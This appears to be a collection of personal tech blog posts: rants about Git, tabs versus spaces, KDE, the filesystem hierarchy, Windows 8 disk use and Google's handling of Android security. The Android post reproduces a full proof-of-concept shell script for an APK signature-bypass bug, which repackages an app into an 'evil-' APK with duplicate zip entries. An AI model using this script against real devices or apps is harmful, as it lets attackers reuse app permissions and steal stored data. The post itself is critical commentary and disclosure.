I started using a VCS in 2009 for my bachelor thesis, it was a mess of a project: the 3 guys that previously worked on that code never bothered to use one, and so I took the opportunity to chose one. I picked Bazaar (bzr) since it seemed easy enough, written by someone who wasn’t so full of himself, had all the DVCS goodies and was extensively used in the Ubuntu project (I already had the opportunity to use Launchpad, and I really liked the experience of reporting bugs there, compared to the subpar experience on Bugzillas or Github). Also of note, since some people might hold this misconception: it’s not a NIH project. The Mercurial project started just a few days after Git, while Bazaar was released just the prior month. Overall they appeared on the scene almost at the same time, around the time of Bitkeeper’s free version disappeareance (but if we want to be picky, the NIH would go the other way, since Bazaar had as its precursor Baz/Gnu Arch)
I kept using it for some of my personal projects, my dotfiles and such… But obviously in the meantime I had the opportunity to try out the competition: Hg, Darcs and obviously, Git.
Of these, I always disliked Git, mainly due to its UI, mind-numbingly complex man pages and unhelpful errors, example:
1234567
$git pull --force repo
There are no candidates for merging among the refs that you just fetched.
Generally this means that you provided a wildcard refspec which had no
matches on the remote end.
$bzr pull --overwrite repo
All changes applied successfully.
Now on revision 2.
Or, let’s compare the length of the log command documentation:
1234
git help log | wc -l ; and bzr help log | wc -l ; and hg help -v log | wc -l
1633
191
133
Or the apparently arbitrarily different command names and huge number of flags required for the simplest use cases:
git daemon --base-path=. --export-all --enable=receive-pack --reuseaddr --informative-errors --verbose instead of bzr serve or hg serve (the latter even gives you a nifty web interface!)
git symbolic-ref -q HEAD instead of hg branch
git show instead of bzr cat, hg cat
git ls-tree --names-only -r r1 instead of bzr ls -r r1 (no, git ls-files won’t do what you expect)
Or, if you want to push a repo to a local folder, git will complain that it’s not secure since it won’t automatically update the working directory. The obvious solutions (denyCurrentBranch set to ignore or using a bare repository) obviously aren’t true solutions, since you’ll have to then create the wd manually (unlike with bzr, thanks to its different branch model).
Every DVCS uses hashes to discern between the different commits/revisions, but while bzr and hg give you a meaningful increasing number, in git you’re forced to use the sha1 hash (you can just use the first few chars, but it’s still a bore to remember which sha1 comes before/after 3 or 4 other sha1 if those aren’t consecutive).
You might argue that it makes sense since it’s a “true” distributed system, until you realize that most organizations still have an authorative repository you can pull from when you get back from holidays or, even worse, that most projects on github are actually small single-user repositories, where the benefit of globally unique hashes is dwarfed by the hassle of handling it. (Before 2010 on github there wasn’t even the concept of “Organization” as we have now).
Other than git itself, I loathe the closed minded git-users that don’t care and aren’t willing to understand other tools. For example, the DAG (Direct Acyclic Graph) it’s an obvious approach to model a VCS: you pick a point/commit on it, an you can look at the tree deriving from it. But somehow, by virtue of it being among the first things explained in documentation about git innards, and due to the fact that a lot of git users are drawn to understand its innards (not due to curiosity, I fear, but due to the poor abstraction that the UI and the man pages are, they force you to learn such things), someone got the idea that the DAG was something special and unique of git. An example of a man page that forces you to deal with these concept is the one of rev-parse: if you want to learn what the r1..r2 syntax does, you just have to read:
<rev1>..<rev2>
Include commits that are reachable from but exclude those
that are reachable from . When either or is
omitted, it defaults to HEAD.
This definition makes sense, assuming that you can specify revisions on different branchs… but how often do you need to do that? And do you expect rev1 to be included or excluded? Compare with bzr, where you can select ranges with 2..5, 2.., ..2 even using negatives: ..-2 and the common case is simple.
Another example of “smug git user” is this: at first he starts with the nonsensical man bzr-get, which would make sense only if an actual bzr-get command existed (unlike git, other DVCS aren’t separate commands stuck together with duct tape shell scripts). But later he would’ve been able to understand right away if he truly looked at the output of man bzr or bzr help, which tells you that what you want is bzr help get (the same help system works in git, and I’m quite sure that it was like that also in 2009).
But at the end, most of the issues are just with the UI. Other people just say: “but you don’t use git from the command line: you just use the IDE integration”, but this obviously has its limits since you won’t be able to use a single IDE for all the possible projects and all the possible languages. Not to mention that if something goes wrong, the error message might be hidden (I’ve seen this happen), but if instead you’ll try do it explicitly from cli, any errors will be painfully obvious very soon.
And if any project is managed with git, I never had any problem to man up and work with it, in fact I have several repositories on github, and even this very blog is hosted there. But while launchpad was my go-to choice for my own projects/snippets I’ve now witnessed some job application forms that don’t even have a field for a website/repository url, and instead ask to submit your github profile, to look at your projects. As much as I hate this monoculture and shortsighted choices, I realize that having code split all over the place on different code hosting sites is not in my best interest (I sent my application, but I’m quite certain that they never even looked at my CV due to that).
I was on the fence until some months ago, when even Emacs (the most prominent project non-hosted on launchpad that uses bzr, and the only one I know) started the migration process to git, so now I’m yielding: I’ll keep using bzr if it’ll happen that an existing project uses it, but as far as personal code goes, I’m going to convert my bzr repos to git, and go with the flow.
Historically I’ve been one of the few people who consistently preferred to use Tabs over Space (I’m obviously talking about the characters: 0x9 against 0x20).
People usually contest that “any decent editor” makes using spaces just as comfortable as using tabs. I beg to differ: while editors don’t have any problem in adding n spaces when pressing the tab key, and configuring to delete 4 indentation spaces when at the beginning of the line with a single press of del/backspace, you still have to press the arrow keys n times when navigating the code. I use emacs and sometimes I use vim, but I never really got the bindings for jumping around the text truly ingrained in my muscle memory.
Since this is an issue mostly with the whitespace sensitive languages, like Python and Haskell, you might argue that usually you don’t need to navigate the code like that… a small example:
123
classA:deff(self):pass
Now let’s assume that I want to go up to the d of def, open a newline and insert a new decorato and that my cursor is at the end of the pass token. You can move to the previous line and then go to the beginning, or do it the other way around: go to the width corresponding to the beginning of the previous line and then move to it. Since I prefer to avoid seeing the cursor jump left-right (I don’t like to have “phantom whitespace” after the end of the line), usually I do the latter. By pressing the home key I might get at the beginning of the line after the indentation (at the p) or before, but this means that I still have to navigate one indentation level. With tabs this is just a single keypress in either direction, but with spaces, I have to press it multiple times. Worse: since it isn’t a border of a token, there’re no obvious keybindings to jump right to it.
Obviously it’s possible to write some emacs lisp or vimscript to do it, but I never found that itch worth scratching enough. Also: if I was really accustomed to vim I could just move around the code in a different way, but alas, that’s not the case, and often I might want to edit some small snippet in a webbrowser or other platform different than vim. On the other hand, all the whitespace sensitive languages have good enough support in these editors that you can do simpler tasks (like indeting/dedenting a block of code) with a single keybinding, regardless of tabs/spaces.
One complaint about tabs is that spaces are needed for alignment, and thus this could lead to mix tabs and spaces, especially in Haskell: developers are used to align the code to the previous lines (otherwise it won’t even compile, unlike with Python), but the truth is that if you put a newline just after the = signs, you can just use tabs to increase the indentation, without ever worrying about the alignment.
People usually are also opposed to tabs since it makes the code display differently on different machines: this is misguided, since as long as you’re using only one between spaces/tabs all the indentations will always be aligned, regardless of the whitespace char you chose from. But using tabs will give you the advantage of choosing how much space you’ll spend by indenting, without imposing your choice on the other developers. Obviously, the feature of changing the display size of tabs depends on the editor: in some it’s easier than in others, and in other cases (like web browsers) you can’t even do it, afaik… and you’ll be stuck with 8 spaces for a tab, or something similar.
Emacs at times really strained my patience: a fellow programmer recently told me: “it’s supposed to be extensible, but it’s not written anywhere that it should be coherent in its behaviour” when I showed him how the official Forth mode used tabs even when indent-tabs-mode was set to nil. Other problems plagued the different python-mode availables: pressing tab to indent a new block, or using the indent/dedent commands at times used different whitespace characters (probably because it was hardcoded to use spaces in certain cases).
So, the crux of the issue is not using different whitespace chars, and it’s interesting to think about what use the whitespace fulfill, and what choice do we have available: In a sense, as long as we store information as text, we’ll use a bidimensional layout. this requires something to imprint a vertical direction, and an horizontal direction. The vertical direction is obviously supplied by the newlines: each time we want to push down vertically, it’s a newline; but this leaves us with the horizontal separator, and if you think about it you don’t really need more than one of this kind.
Yes, space have a fixed width, and tabs are useful for alignin tables on terminal outputs or something like that, but they won’t work if your lines are skewed by more than 8 (or the number of spaces equivalent of a tab in your terminal) characters; unless you use multiple tabs, but if you know in advance how many tab characters you need, you should be able to do the same with spaces (like with the .rjust() and .ljust() methods for python strings).
So, we could just write code and separate each and every token with \t, and get rids of spaces altogether! (since I think that tabs are the superior alternative) But nobody’s going to do that.
So, I said we only need 2 whitespace characters, and yet we have spaces, tabs, vertical tabs, newlines… ASCII is a fact of life, and we won’t get rid of baggage that we don’t use soon (just like the the Bell character), so we might just be better off by standardizing on some, and avoid hassles.
And that’s why I’m writing this post: even if historically I always pushed for my preference, and some of my friends are reminded of me also for my “foolish” preference, I always cared about a common standard and the path of least resistance. My goto language for a lot of time has been Python, and its PEP8 unfortunately just acknowledged that spaces were used more often, and in no case the PEP8 alone was an excuse to change pre-existing code. So the few times when people complained that my code was not following the PEP8, and that I shouldn’t bother trying to properly configure Emacs to work with tabs (and just convert back the file to tabs, if needed), I felt obliged to point them that there was no clear-cut standard, but only a vague consensus.
But last year, the PEP8 was updated, and luckily it now explicitly states that spaces are to be preferred. So, even if my pet peeve was in the other direction, I’m heavily relieved that now There should be one— and preferably only one —obvious way to do it. also for this issue :) and in fact some months ago at last I updated my Emacs’ init.el.
It happened again: I postponed publishing new posts for months (it’s now June when I’m publishing this), and I built up a small backlog of things I want to write about. This time it’s about KDE: I gathered some of my opinions back in the October of 2011, and after February I got to use it again at work (the workstation ran Nixos and later Fedora, and in both cases KDE seemed like a better choice than modern Gnome), maybe that was the reason for me to postpone this post, anyhow… on with the impressions that I got in 2011:
All of the following is based on Opensuse: it was the very first Linux distribution I ever saw, but after years of Ubuntu I was curious on the current state of Opensuse+KDE.
The first problem was the lack of some packages, but I felt more that the defaults were bothering me more: apparently almost no-one I knew was satisfied with them, and I was disappointed to see that the keyboard shortcuts for very common functions like switching from a workspace to the next, weren’t set.
Another issue was the messiness of the desktop, resulting from some of the KDE apps chosing to open new windows instead of opening things in new tabs in the existing windows, like Kopete and Kwrite.
At the time I tried KDE 4.6, which at first glance was better than the 4.4 I tried even earlier: I disliked interacting with Widgets and Activities, but most of all the segfaults in Dolphin and Krunner. KDE 4.6 on comparison was much more stable. The problem with widgets was that I seldom use things that are stuck on desktop, if I have them enabled it’s because they supply me some useful information, and for that reason I’d like to have them always available on the panel, but the reduced look & feel on the panel was horrible.
Kontact was apparently even slower than Evolution when fetching mail. It required Akonadi, but the weird thing is that by default it wasn’t starting up Nepomuk (which was necessary to actually for it to work). The integration with Google in Kontact was also incomplete.
Another issue is the default delay for hot corners: 150ms makes it feel sluggish. Choqok didn’t support Facebook and Google Buzz (hey, I was one of its few users at the time :D ). Amarok 2.4’s notifications popped up only 3 seconds after the start of the song, and it hid some useful automatic playlists in Media sources -> Dynamic playlists -> Automated playlist generator. Digikam lacked a single-key shortcut to the next photo.
Also (apparently it was supposed to be added in KDE 4.7 but I never tried it out) it was lacking a zoom functionality like the Compiz one, that is: gradual zooming by using the mouse scrollbar. The KDE zoom was only usable with keybindings (which obviously aren’t as fluid to use ad quick flick of the scrollbar, if you need just a certain amount of zooming).
Dolphin wasn’t hiding bookmarks to volumes that are not currently available (unlike an old version of Gnome’s Nautilus, which unfortunately regressed since then –_– ).
In a lot of the popups the words are cut off: you have to resize the window or scroll laterally. When you log in, Kwallet isn’t unlocked automatically (in Gnome you have to unlock the keyring manually only if you changed the password of one between the keyring or the user to be different than the other). Another cause of concern was the over-reliance on dbus: as I mentioned the system could be quite unstable with segfaults not totally uncommon: well, if dbus failed, the whole system was rendered almost unusable: no launcher, etc. (also other systems have the same weakness, like the global menu in Ubuntu’s Unity) but I found it particularly aggravating in KDE.
The .xmodmap file inside your home is not recognized at login, and automatically loaded (another small feature that made my life with Gnome simpler). While it should be possible to do it manually by putting a script inside .kde4/Autostart/ I always found the KDE autostart quite unreliable and hard to debug (Like, if the file is not executable or lacks a shebang, it will be opened for editing instead of logging the error).
Unfortunately, this post isn’t very structured and I’d prefer to accompany each point with a screenshot, but at least this explains why KDE isn’t my first choice for a Linux Desktop :)
I found today this note I forgot about from October 2010, the format was clearly thought for this blog, but nowadays I wouldn’t use such strong words as “crap”. Anyhow since I still agree with it, here it is
The Filesystem Hierarchy Standard is a mess, I never liked it, and nobody follows it in its entirety…
(Sorry for being so direct, but I thought about it, and I think it’s the better way to start to explain what I think about this).
On the other hand, obviously, a bad standard is better than no standard at all…
I think that for the most part the distinction between /bin /sbin /opt /usr/bin & /usr/sbin is moot, and only forces us to use more environment variables, and makes more complicated to browse the system directories (and is especially a pain for all those users that don’t know the existance of ‘which’).
Why kill is in /bin and killall in /usr/bin? why alsactl is in /sbin and dd is in /bin? why are bash and plymouth in /bin?
Sure, a posteriori maybe you could find some explanation, but when thinking about it there’s no clear distinction between a binary and a system binary (sure, fdisk or init, fit very well into the definition of system binary… but is this reason enough for keeping the directories splitted? I don’t think so…)
I also find useless the distinction of user commands in /usr/bin, when the fhs was first conceived, or on certain server installs, it could make sense…
But nowadays, when we find a 30GB SSD “paltry”, and partitioning the disk of a desktop system between / and /home is (correctly) seen as futile, it doesn’t.
“Nobody follows it in its entirety”: The fhs says that python, perl, and similar things should reside in /usr/bin, but nowadays in the starting shebang of your scripts it’s recommended to not use the full path for the interpreter, but instead to rely on /usr/bin/env
(Ok, it’s not really a problem of standard, it depends on user choices, etc… But that’s the point: if you can’t rely on the standard and you don’t get many benefits from it, why forcing the developers/packagers/distributions to put the interpreters separate directory from /bin in the first place? )
“Nobody follows it in its entirety”: There’s not only google chrome who installs itself into /opt, on my system I also have into /opt: the google talk plugin, world of goo, and mendeley…
But guess how many of these programs use /etc/opt/ and /var/opt/ ?
Zero…
I have 4 programs inside my /opt, and yet I’m above the average concerning this… I’d say that if something specified in a standard is so underutilized, it should be changed the next time that standard is revised…
Besides that, even if I can appreciate the flexibility conceded to the developers by putting their programs in /opt, I’d rather prefer that (since, at the end of the day, they are all shipped in .deb packages and are kept updated via apt just like all the other software in the system) their respective files would be in /bin /etc and using the system libraries: one of the reason that these programs are sitted in /opt is that they are shipping a their own copy of some system libraries (ffmpeg & sqlite, sdl & vorbis, qt4…)
If it’s surely better for a videogame like world of goo, I find it not-so optimal for an heavily developed and open-source browser like google chrome.
And what about using it for programs like eclipse?
When I had to install that huge thing downloaded directly from the website (cause the repositories were stuck at 3.2), I never liked to put it into /opt and messing around using sudo and tweaking privileges…
In fact I always put it into a folder in my $HOME (tipically ~/Applications), because the only real advantage is for other users in being able to use that program…
But if the original developer didn’t bother to create a package to help multiple users using it on the same computer, then I put the blame on them, and surely don’t bother myself either into fixing this (and I obviously despise at the same way developers that ships software for windows only in standalone .exe format, without any .msi installer whatsoever).
But on the other hand, modern desktop systems (especially if mobile like a laptop/tablet) have only one main users… And even when you have other users… How many of you have a brother/parent/spouse that needs to use eclipse just like you? (business settings obviously are another matter: and in fact, they despise software not shipped in a packaged form).
I think that overall, the situation wouldn’t be worse if we merged (via symlinks or unionfs or whatever) /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin (except /opt, you may want to keep it for its flexibility, but otoh, as I wrote before, I don’t think it has many real use cases) all together into /bin
Moving from that to the current state in the users’ home:
I like the freedesktop base directory specification, and I wish it was followed universally… But there’s one thing that sets me off: while the configuration files and the caches are kept under ~/.config and ~/.cache respectively; all the other data files are kept under ~/.local/share
dot-local-slash-share ?
I can only guess that originally it was supposed to be used as a per-user /usr directory, so we could have used it to store a .local/lib .local/bin .local/games .local/include .local/src .local/man and .local/etc (???)
…and yet now we have this .local folder whos only job is to keep a share/ folder.
What about the Music, Images, etc. folder instead? No standards whatsoever!
If I’m not wrong shuttlework himself wrote in a blog post about how, to help with some new unity interface features, we could use some environmental variables to point to the correct localized folders inside $HOME, but afaik we’re still here with no easy way to find the correct folder automatically.
Here… I’m done… I think that, as of today, the standards can be much improved; but obviously, these are only my 2 cents (even though I strongly believe in them).
Originally I wanted to write another post, akin to “Cyanogenmod is a ghetto”. In fact I wasn’t really fond of that project and, until now, with my android phone (a Nexus S) I chose to stick to the stock android version (I experienced cyanogenmod and others aftermarket mods with my previous phone: an HTC Dream, the very first android device).
I never really liked the xda-developers forums either: a lot of OSS projects have their own forum, but for development a Mailing List (or similar) is preferred. The advantages are obvious: you get to reuse your identity (email), you don’t have to deal with wonky cookie-based session authentication, you don’t have to deal with bulky signatures/animated gifs/etc. (as long as you don’t render html and/or enforce the netiquette) and everyone keeps a copy of the old discussions (thus, if the server and its backup disks get corrupted you won’t completely lose your project history).
In fact, at the beginning I remember developers complaining about the “cooking” mindset: building your homebrew android versions wasn’t supposed to be like taking binaries and stuff them together without really knowing how the whole system worked (this was probably more common during the Windows Mobile 6 roms era). Most people on xda in fact were quite new to linux: I remember asking there (or in other places, like some irc channels) why the preferred filesystem for app2sd was ext2 instead of ext3/4… but the answer I got was just that journaling “wasn’t needed” for a mobile device (nevermind the fact that even mobile devices can get turned off abruptly, or just think about the long check process that android does when it starts up to detect corruption on the sd/external memory). Needless to say: the conventional wisdom changed.
Maybe for the same reason, when I asked about a vanilla Android rom I was told that there was no such thing as vanilla. At the time I thought that maybe it was just because there was indeed no such build available (but still, it seemed strange that no-one would take the AOSP sources and made it available as an image ready-to-install), but after I realized that it might have been quite likely that the very idea of a “vanilla” version, might have been foreign to them… unbeknownst of the dangers of balkanization for the several android roms that sprouted out.
Also, due to the fact that end-users (who never flashed a firmware before in their life) and developers hanged around in the same forums, I remember that people could get frustrated and hostile to the users at times. Unfortunately, digging up posts from the xda-dev and cyanogenmod forums before summer 2009 seems quite hard.
Another problem, was the handling of Google Apps: imho it was obvious from the start that if someone is willingly licensing something to be used freely, the software that they haven’t licensed so is probably important for them. But early modders probably didn’t care, due to being accustomed of redistributing binaries in the old Windows Phone 6 days…
I kept using my HTC Dream until early 2012, and while it was painful to use due to the small amount of memory, it was still usable with Cyanogenmod5 (running Android 2.1 aka Eclair). With Cyanogenmod6 (Android 2.2) instead, even if it was still supported by Cyanogen himself, there were some changes among the system apps, like the new Gallery that (due to its additional animations and increased memory requirements) was totally unusable on the Dream. Other than this, there were also some nasty sudden reboots when using the camera (but it was probably to be expected, since the camera firmware has almost never been open). This left me with a bitter taste, and I was not so sure anymore that the Cyanogenmod they shipped was actually used and tested day-to-day by the developers (not for the older models, at least).
Between an up-to-date device that’s so slow as to be unusable, and a device that’s some versions behind, I chose to just use the latter. Up until then, I coveted the latest Android version, but let’s look at the facts: There were some truly important and interesting improvements with the earlier versions:
1.5 3rd party keyboards, widgets, better bluetooth, copypaste in the browser, animations, autorotation, etc.
1.6 Search (also with voice) through contacts and more, TTS, camera improvements…
2.0 Multiple accounts sync, browser improvements, live wallpapers, etc.
2.2 JIT, USB & Wi-fi tethering, Market batch updates, native app2sd, etc.
But with the latest versions, I don’t feel such a need for the new features. I’m not saying that changes in the later Android version aren’t interesting, for example I appreciated the multiple user accounts support in 4.2 and 4.3. But if you weren’t an Android user before 2.2, just try to imagine how it would’ve been not to be able to update all the dozen (or more!) of applications that requested an update… Or to resort to rooting just to get tethering or app2sd working.
In the meanwhile, though I didn’t “need” Cyanogenmod anymore, it has improved: the controversial idea of rooting your device has been reevaluated (is subverting the android security model a good idea? “How does the SU app really work?” I find it slightly worrying that there’s no wiki on the official project and aside from stackoverflow.com it’s difficult to find information on it)
I’ve also heard that they’re planning to fix the building keys detail and the Cyanogenmod Inc. project (aside from some brouhaha ) seems like good news.
So, I’m not a fan of Cyanogenmod (though I’ll go back to using it now, probably), but here I actually wanted to talk about what disappointed me with Google’s Android management recently:
To better understand the issue, you might want to have a look at this explanation of the Android security model. Briefly: Apk signatures are checked with a TOFU (Trust On First Use) model and there is no centralized CA model.
You’ll notice that the first link isn’t from AOSP: I got the link by asking on the Cyanogenmod irc channel, and that is where Cyanogen got the patch from (it probably was just by luck that this commit was publicly available). That was subsequently merged into Cyanogenmod 10.1.
This irks me already: Google receive news of a security vulnerability and has a solution for it, but decides to sit on it for 5 months? You’d think that the wait serves for 3rd parties to have time to integrate it into their Android builds, test it and ship it; but as far as we know, OEMs aren’t backporting security fixes from Google’s internal repository. In fact the fix has been integrated only in devices that run at least Android 4.3.
But the latest supported version for my Nexus S is Android 4.1, 32 months passed since the Nexus S launch, am I already at risk of widely known exploits for an unpatched bug? (Actually it’s even worse: the latest update shipped October 2012, less than 2 years since the device launch)
Google would like for us to think otherwise [1][2]. Sure they can fix part of the issue server side on the Play Store, but what about Android at-large? What about apps installed outside the market? They’re more common than you might think: just realize that some devices don’t ship with the Google Apps and that several alternative stores exists (F-Droid, Amazon’s, even the Humble Bundle App works as an app store even if you cannot buy directly from it). The cornerstone for bringing relief to otherwise unsupported devices seems to be the Google Verification Tool.
Edit:I tried again, and now the Verification Tool is able to recognize this exploit. Needless to say, when I prepared my notes for this post some time ago it wasn’t, and my point still stands.
Unfortunately, it doesn’t protect from this security hole at all. I have no clue why is that, but it’s quite easy to reproduce: You just have to take an android package, decompile it and repackage it like this post instructs you to do (it even has a link to an already-built HelloWorld apk, so you don’t even have to write Java code to test it) and instead of rebuilding the apk straight away, follow the instructions as laid out in this POC shell script (or just execute it):
#!/bin/bash# PoC for Android bug 8219321 by @pof# +info: https://jira.cyanogenmod.org/browse/CYAN-1602if[ -z $1]; then echo"Usage: $0 <file.apk>" ; exit 1 ; fiAPK=$1rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK outecho"Modify files, when done type 'exit'"cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apkmkdir tmp
cd tmp/
unzip ../$APKmv ../out.apk .
cat >poc.py <<-EOF#!/usr/bin/pythonimport zipfile import sysz = zipfile.ZipFile(sys.argv[1], "a")z.write(sys.argv[2])z.close()EOFchmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ; do ./poc.py out.apk "$f" ; donecp out.apk ../evil-$APKcd ..
rm -rf tmp out
echo"Modified APK: evil-$APK"
Then, make sure that the Google Verification Tool is enabled (before 4.2 you have to open a separate application called Google Settings, you’ll find a checkbox under Verify Apps) and you should find that your hacked apk installs just fine. (Actually, I got GVT to error on me when trying to install legitimate packages from F-Droid, so I’m really skeptical about its real-world usefulness)
You should’ve already realized it by now, but it might be worth repeating: this would permit an attacker to silently reuse permission granted to a legitimate application, or steal data that was stored by it, without the user being the wiser.
This is the last straw that made me wary of Google management, but it’s not the first time I’ve been dissatisfied by it: this article clearly exposes the problem:
Replacing open source applications with closed source ones. I felt it especially with the transition to Hangouts: it made it impossible to message your contacts on federated XMPP servers, it superseded GTalk which was mostly open source afaik and it broke Hangouts inside the G+ app if you tried to downgrade it to GTalk. Along with GTalk, the Search app, Music, Calendar, Keyboard, among others have been superseded by their closed-source equivalent.
Sure, the code of the old app is still available (it’s what ChatSecure has been built on if I’m not mistaken), but if nobody is using and developing the code it’ll likely bitrot. Also it won’t be featured anymore on the builds that have represented the true stock Android experience until now: the builds that were shipped on Nexus devices that is.
Slowly it’s hijacking the perception of what actually Android is. A true vanilla AOSP build without Google apps might soon be unusable for someone trained on Google devices.
So, Android is Open Source, and I’m grateful for that… I’ve always thought that the critiques of the Google Code dump releases as not being truly-open were quite shallow, given that the competition was much worse (that is, not open source at all, no sideloading of apps, not Linux friendly, no freely available developer tools). I certainly wished for a more open engagement with the community, but it seemed good enough.
I don’t know if the open source contenders (Ubuntu phone, Jolla Sailfish and FirefoxOS) will succeed, and I realize that the security updates mismanagement that I’m blaming Google for can actually have some partial explanations with the way that software deploy is done on such devices.
(I talked recently with developers for Ubuntu phone, and they told me that the idea of shipping a huge image that contains both feature updates and security updates, and doing it “late” is due to user experience and usability requirements: testing is paramount and users don’t want to apply system updates too often… I’m not 100% persuaded, but surely it’s a case for having an as-smallest-as-possible core system)
But if we actually have some freedom in this mobile platform, we have to exercise it. We have to test where the boundaries are and realize where they are. Has Google an unfair competitive advantage with the Google Apps licensing? Given the proprietary model, even if it has not, it’s possible in the future for them to make it so. Do you even have Freedom 0 if Google doesn’t allow the redistribution of the Google apps? (I’m using the FSF idea of freedom: I don’t completely agree with Richard Stallman, but I find his definition of software freedom useful for bringing forth discussion)
Using Android without Google apps (thus without even the Play store or the APIs) would make it clear when to get your work done you have to go through proprietary software, and force you into a platform that you couldn’t build/recreate yourself. If only as an experiment, I think I’ll try it soon, but it’s obvious how avoiding the use of the market can be troublesome.
In fact, even some very OSS-friendly developers and applications don’t ship outside the Play store (but luckily Cyanogenmod will bundle this particular application). The reasons are somewhat complex: Moxie objects to the key handling of the F-Droid project and the requirement for enabling 3rd party sources, but it seems that the main reason that is blocking that bug is guaranteeing updates and having crash reporting (which could be solved from inside TextSecure).
While on the front of removing the sideloading requirement, an effort is currently underway to get F-Droid running as a system app (possible when rooting or bundling it into your image), thus hopefully the future for a truly open Android is not so bleak.
Update (2014/07/05): I lasted some months, but now I think I’ll yield. A similar sentiment to my post has been echoed in widely-read posts like this one (I still have to try out Kolab, but it seems like a solid alternative and I’ll probably use that in the near future), I’ve been able to do most of what I want to do with my device, but other things have been quite a pain. Case in point: walking directions; since OsmAnd has poor search functionality (I don’t need fancy things like “looking for food” or “looking for a certain shop”, I just need a simple address search for when the GPS isn’t readily available, and you don’t know exactly where are you directed to) I chose to rely on Waze for my navigation needs. Installing Waze was already a pain on its own, since old versions just crash, and the Amazon app store version is outdated. I asked support and they pointed me to other appstores, but from the quality and other details I suspect that these other stores are actually downloading the apks from Google Play on their own, to make them available again on their channel without any input from developers. Not a great alternative to the Google store, if that’s their submission/QA process.
But obviously Waze is mostly thought for car navigation. Using it to walk around in one-way roads is definitely not what it was built to do, and it’s mind numbing to endure.
Again: Some applications crash, all the websites who advertise a mobile app either link directly to the Google Play website (or send an intent which will be picked up by F-Droid thus giving back an empty results page), and there was the occasional meaningful app only available through the Play store. I expected that, and I’ll try to nag fellow developers about it in the future, but living it is kinda depressing… it’s a constant reminder that the battle is already lost.
What was probably the last straw was being in one of the cities served by all those alternative taxi service: Flywheel, Uber, Sidecar and Lyft. Needless to say: all of these require the Google Play services. Given that the only thing that they actually require is Google Maps (and which could be avoided by simply leveraging OSM) I think that these companies should definitely deserve a slap on their wrist for not even trying to make a freely available alternative: after all, geolocation javascript APIs have been available since 5 years, and so integrating a webview with Google Maps (if not a full and complete webapp) should definitely be feasible.
The sorry state of the alternatives app store make it so that essential requisited of the apps (like the presence of the Google Play services itself) isn’t listed and made known, and thus you’ll find out downloading apps that crash or fail to install without any useful error message.
I don’t think of giving in completely to Google again. I just recognize that I feel it’s more difficult to give up Google’s Android than Microsoft’s Windows. And just like it was for me and almost all the current Linux users, who started by dipping their toes in the Linux waters by dual-booting and only gradually letting their need for Windows wither, I think that the solution in this case would be to dual boot: Use a free mobile OS normally, and switch to the proprietary one only when you truly need it.
Due to the always-connected nature of our modern mobile phones and the lack of solid dual boot solutions, I’m afraid that the dual-boot will just take form as having 2 devices. At first I thought that having a separate tablet for games with the Google services might fill that role, but apps that require being on a mobile phone (like the alternative taxi-services and textsecure) make it a much less attractive proposition.
Another six months passed since the last post: if you look at the sources you’ll see that I’ve dabbled with a rewrite of the javascript sources to clojurescript, so due to this overhaul (that I haven’t even completed) I postponed writing once again –_–
Anyhow, this is another small rant: as I wrote last time, the home’s desktop runs Windows (8, nowadays) on a 30GB SSD… I have a second traditional HDD that stores games, user folders, and bigger programs. The SSD only stores the core system and some small and core programs, but this summer the situation turned out to be unbearable:
(If you want to read easily the screenshot, just open it in a new tab)
The Windows folder started to require 23.5 GB all for its own (Yes, excluding all the things in Program Files), and the cleanup utility was unable to find anything more than 8MB worth of files to clean up.
So, by looking up manually I realized that old MSIs could’ve been wasting some of that space inside C:\WINDOWS\Installer\$PatchCache$
As you can see, the footprint of my programs is quite lightweight (VS and the win SDK take up most of the space)
But inside the 64bit ProgramFiles, there was nasty surprise waiting:
A lot of space was being used up by Windows8 apps: not only you can’t easily access their folder inside %ProgramFiles% without changing permissions…
But on top of that, the Uninstall Programs dialog completely ignores these apps footprint:
To make this even worse, if you look at the contents, you’ll see that there’s some duplication: XboxLIVEGames, at least 3 copies of ZuneMusic, etc.
Apparently Windows8 “helpfully” stores old versions of all your metro apps, doesn’t let you see the disk footprint of these, doesn’t let you change the installation folder and doesn’t even give you an easy to access way to purge these old programs from the system.
(Things might have changed in the meanwhile, especially with the release of 8.1, but as you can guess, updating to 8.1 when Windows leaves so few disk space available is not really feasible: all Windows version upgrade usually cannot use a second disk as cache for the files to be installed, thus it requires at least twice the disk space that will be used for the installed system)
Oh, well… time to change that 30 GB SSD :/
(Just a small note, in case I or someone else might need to compress the palette used by screenshots like these: I tried out optipng, pngnq, pngquant and pngcrush comparing the size of the output files and pngnq seems to yield the best results -together with pngquant, if I remember correctly-)
A lot of time passed since my last post… In fact it has been almost precisely a year since when I tried to write my 3rd blog post, but to my dismay I realized that the connection to the db failed.
So, it was June 2012 at the time… 3 months passed since the previous post, and I decided to start learning F#, I attended some courses at the university and passed 2 more exams (I wanted to use F# for the OpenGL course, but at the end I procrastinated too much).
Some other things happened as well, among them: the passing of my longest lived cat, Lady.
It was quite sad, she had to be put down after a tumor grow back after surgery (she went under the knives 2 times) and the vet thought that we should’ve spared her the last days: she was barely moving on the bed (but she was still willing to eat: I deluded myself into thinking that this meant she was still feeling somewhat alright).
It was the first time I witnessed the death of something I could relate to, but my reaction was totally silent and composed. I don’t think of myself as someone very emotional or attached to other living beings.
Still, it makes you wonder about lives after death, not the supernatural ones… but the lives of those who outlive you.
How do they remember you?
Did your life mattered? Now that you disappeared what has changed?
More than one year later, we still have our cat litter in the same place where Lady was using it: it’s not that we’re paying respect or anything, we’re just quite sloppy and slow to get rid of useless things… still, it’s something that prompts me to think again of what I’m missing.
Ok, so why didn’t I write this before? What happened last June?
Well, I already mentioned that I had some problems with the hardware… just look at this picture:
Basically, the first pin, the one that actually powers the cable, was nonfunctional in the sheevaplug I got… just to get it to run an usb key, I had to make that weird loop through an usb hub.
Obviously, at the time, I tried to contact GlobalScale’s tech support, but I was only able to make a brief call through skype… their only email address available was the sales one, and I got no response from that.
Lesson learned: if you buy consumer goods overseas, don’t expect much support, if the good is worth more than they’re willing to blindly reship at the first customer complaint (I bought some videogames that, after being lost mid-voyage, the seller had no problem to send them again -successfully, this time- ).
On top of that, the sheevaplug has an armv5 cpu, and it shipped with a beta version of Ubuntu 9.04… though luck: Ubuntu supported only armv6 or greater with Ubuntu 9.10, and with 10.04 it moved the goalpost even further to armv7.
